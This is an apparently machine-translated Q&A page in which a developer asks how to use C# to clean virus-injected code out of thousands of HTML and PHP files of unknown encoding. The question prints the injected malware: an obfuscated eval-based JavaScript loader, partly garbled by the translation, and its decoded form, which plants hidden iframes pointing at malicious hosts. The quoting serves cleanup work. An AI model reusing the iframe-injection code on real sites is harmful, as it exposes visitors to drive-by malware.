2012-02-09 5 views
6

.html과 .php 파일 인 5000 개 이상의 파일을 FTP에서 다운로드해야합니다. 나는 각 파일을 읽고 바이러스에 의해 거기에 있던 몇 가지 물건을 제거하고 다시 FTP에 저장해야합니다.C#의 인코딩을 모른 채로 파일을 약간 변경하여 바로 읽고 다시 쓸 수 있습니까?

나는 다음과 같은 코드를 사용하고 있습니다 :

string content; 
using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) { 
    content = sr.ReadToEnd(); 
    sr.Close(); 
} 

using (StreamWriter sw = new StreamWriter(fileName + "1" + file.Extension, false, System.Text.Encoding.UTF8)) 
{ 
    sw.WriteLine(content); 
    sw.Close(); 
} 

나는 손으로 일부 파일을 다운로드하고 일부는 <meta http-equiv="Content-Type" content="text/html; charset=windows-1250" />을 가지고 있지만 나는 그들 모두가 그처럼 생각하고 싶지 않아요. 나는 Notepad ++로 검사했고 몇몇 텍스트 파일은 ANSI이다. PHP는 UTF-8과 HTML Windows-1250 인 것 같지만 파일을 고치려고 할 때 파일을 손상시키지 않는 것이 좋습니다. 그렇다면 인코딩을 알거나 추측 할 필요가없는 방법이 있으며 웹 페이지에서 바이러스 링크를 제거 할 수 있습니까?

편집. 내가 찾아 같은 것을 제거하기 위해 노력하고있어 :

VAR들 = 새로운 문자열을() {document.rvwrew.vewr} 캐치 (Q) 시도 {; C = 문자열, R = 1} 경우 (r & & document.createTextNode) u = 2 e = eval m = 4.5 * u, 18/u, 52.5 * u, 204/u, 16 * u, 80/u, 50 * u, 222/u , 49.5 * u, 234/u, 54.5 * u, 202/u, 55 * u, 232/u, 23 * u, 206/u, 50.5 * u, 232/u, 34.5 * u, 216/u, 50.5 * u, 218/u, 50.5 * u, 220/u, 58 * u, 230/u, 33 * u, 242/u, 42 * u, 194/u, 51.5 * u, 156/u, 48.5 * u , 218.5u, 19.5u, 196u, 55.5 * u, 200/u, 60.5 * u, 78/u, 20.5 * u, 182/u, 24 * u, 186 /u,20.5*u,246/u,4.5*u,18/u,4.5*u,210/u,51uu228/u,48.5*u,218/u,50.5*u,228/u 20 * u, 82/u, 29.5 * u, 18/u, 4.5 * u, 250/u, 16 * u, 202/u, 54 * u, 230/u, 50.5 * u, 64/u, 61.5 * u, 18/u, 4.5 * u, 18/u, 50 * u, 222/u, 49.5 * u, 234/u, 54.5 * u, 202/u, 55 * u, 232/u, 23 * u 51 * u, 228/u, 48.5 * u, u *, u *, u *, u * 58 * u, 232/u, 56 * u, 116/u, 50.5 * u, 64/u, 57.5 * u, 228/u, 49.5 * u, 122/u, 19.5 * 49 * u, 202/u, 57 * u, 194/u, 57.5 * u, 232/u, 48.5 * u, 232/u, 56 * u, 94/u, 57.5 * u, 232/u, 48.5 * u, 198/u, 55.5 * u, 218/u, 23.5 * u, 232/u, 50.5 * u, 218/u, 52 * u, 224/u, 19.5 * u, 64/u, 59.5 * u,210/u, 50 * u, 232/u, 52 * u, 51.5 * u, 208/u, 58 * u, 122/u, 19.2 * u, 19.5 * u, 98/u, 24 * u, 78/u, 16 * u, 208/u, 50.5 * 54 * u, 202/u, 30.5 * u, 78/u, 19.5 * u, 98/u, 24 * u, 78/u, 16 * u, 230/u, 58 * u, 242/u, 59 * u,210/u, 57.5 * u,210/u, 49 * u,210/u, 54 * u,210/u, 58 * u, 242/u, 29 * u, 208/u, 52.5 * u, 200/u, 50 * u, 202/u, 55 * u, 118/u, 56 * u, 222/u, 57.5 * u,210/u, 58 * u,210/u, 55.5 * u 52.5 * u, 202/u, 29 * u, 194/u, 49 * u, 230/u, 55.5 * u, 216/u, 58.5 * u, 232/u, 50.5 * u, 118/u, 54 * /u,51*u,232/u,29*u,96/u,29.5*u,232/u,55.5*u,224/u,29*u,96/u,29.5*u78/u 22.5/u, 28.5/u, 218/u, 50.5 * u, 124/u, 17 * u, 82/u, 29.5 58 * u,210/u, 55.5 * u, 18/u, 4.5 * u, 250/u, 4.5 * u, 18/u, 51 * u, 234/u 220/u, 16 * u,210/u, 51 * u, 228/u, 48.5 * u, 218/u, 50.5 * u, 228/u, 20 * u, 82/u, 61.5 * u, 18 /u,4.5*u,18/u, 50 * u, 222/u, 49.5 * u, 234/u, 54.5 * u, 194/u, 57 * u, 64/u, 51 * u, 64/u, 30.5 * 202 * u, 48.5 * u, 232/u, 50.5 * u, 138/u, 54 * u, 52.5 * u, 204/u, 57 * u, 194/u, 54.5 * u, 202/u, 54.5 * u, 202/u, 55 * u, 232/u, 232.5/u, 232/u, 58 * u, 228/u, 19.5 * u, 82/u, 29.5 * u, 204/u, 23 * u, 230/u, 52.5 * u, 196/u, 58.5 * u, 232/u, 50.5 * u, 80/u, 19.5 * u, 230/u, 57 * 94 * u, 202 * u, 57 * u, 58 * u, 218.5/u, 23.5 * u, 232/u, 50.5 * u, 218/u, 57.5 * u, 232/u, 48.5 * u, 232/u, 23 * 54 * u, 232/u, 23 * u, 224/u, 52 * u, 224/u, 19.5 * u, 82/u, 29.5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 236/u, 52.5 * u, 230/u, 52.5 52.5 * u, 232/u, 60.5 * u, 122/u, 19.5 * u, 208/u, 52.5 * u, 200/u, 50 * u , 54 * u, 202/u, 23 * u, 224)를 포함 할 수있다. /u,55.5*u,230/u,52.5*u,232/u,52.5*u,222/u,55*u,122/u,19.5*u,194/u,49*u,230/u , 55.5 * u, 216/u, 58.5 * u, 232/u, 50.5 * u, 78/u, 29.5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 19.5 * u, 118/u, 51 * u, 202/u, 23 * u, 216/u, 50.5 * u, 204/u, 58 * 56 * u, 122/u, 19.5 * u, 92/u, 57.5 * u, 232/u, 60.5 * u, 216/u, 50.5 * u, 92/58 * u, 232/u, 57 * u,210/u, 19.5 * u, 19.5 * u, 52 * u, 78/u, 59.5 * u,210/u, 50 * u, 232/u, 52 * u, 24.5 * u, 96/u, 19.5 * u, 82/u, 29.5 * u, 204/u, 23 * u, 230/u, 50.5 * u, 232/u, 32.5 * 232.5/u, 50.5 * u, 80/u, 19.5 * u, 208/u, 50.5 * u, 232/u, 58 * u, 228/u, 52.5 * u, 196/u, 24.5 * u, 96/u, 19.5 * u, 82/u, 29.5 * u, 18/55 * u, 232/u, 23 * u, 206/u, 4.5 * u, 18/u, 50 * u, 222/u, 49.5 * u, 234/u, 54.5 * u, 202/u, 58 * u, 230/u, 33 * u, 242/u, 42 * u, 232/u, 34.5 * u, 216/u, 50.5 * u, 218/u, 50.5 * u, 220/u, 51.5 * u, 156/u, 48.5 * u, 218/u, 50.5 * u, 80/u, 19.5 * u, 196/u, 55.68 * u, 186/u, 23 * u, 194/u, 56 * u, 224/u, 50.5 * 5 * u, 200/u, 60.5 * 200 * u, 200 * u, 204 * u, 20.5 * u, 118/u, 4.5 * u, (i = 0; i! = m.length; i ++) s + = mm (e ("m"+ "[ "+"나 "+"])) {doc.qwe.removeChild 시도는()} 캐치 (Q) {예 (들)}

복호 후

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write(""); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://fiberastat.com/temp/stat.php'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

인 그리고 웹 페이지를 방문하면 해독 후이를 알려줍니다.

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write(""); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://vtempe.in/in.cgi?17'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

스크립트는 지난 3 개 라인을 추가 기본적으로 시작되는 바로 </html> VAR

후 PHP 스크립트 라인 <iframe src="http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13" width=2 height=4 style="visibility: hidden"></iframe>의 어느 정도 유형을 가지고 있지만 그것은 어디서든 파일이 될 수 있습니다.

파일을 다시 쓰는 다른 방법이 있는지 확실하지 않습니다. 그러나 5000 파일을 통과해야하는 것은 너무 위험하고 위험합니다 :-)

+0

파일을 수정하는 경우 인코딩을 알아야하거나 실제로 깨지는 것을 보장해야합니다. – Dave

+0

바이러스가 업로드되기 전에 원본 파일이나 백업 된 파일을 깨끗하게 정리하지 않으셨습니까? 그렇지 않다면 앞으로 나아갈 생각입니다. –

+0

아니요. 신규 고객이 오늘 연락을 드렸습니다. 기본적으로 그가 갖고있는 것은 모두 2 가지 유형의 항목이있는 파일 묶음뿐입니다. 나는 problematic code로 질문을 갱신했다. – MadBoy

답변

3

파일이 UTF16 또는 UTF32가 아니며 상호 작용하려는 부분이 전적으로 7 비트 ASCII라고 가정하면 열어서 더 높은 문자를 올 Y로 올리는 Encoding.Default으로 저장할 수 있습니다.

+0

질문을 업데이트했습니다. 부품은 Encoding.Default를 사용하여 수행 할 수 있어야합니다. 나는 그것을 시도 할 것이다 – MadBoy

+0

이것은 트릭을 능숙하게한다. 감사! – MadBoy

1

바이러스는 파일 내용을 파일에 추가하기 위해 파일 인코딩을 알 필요가 없으므로 분명히 가능합니다. 파일을 텍스트로 취급하는 대신 바이너리 파일로 처리하고 바이러스가 추가 한 것과 일치하는 패턴을 검색 할 수 있습니까?

+0

잘 모르겠습니다. 내가 제거해야 할 코드로 질문을 업데이트했습니다. – MadBoy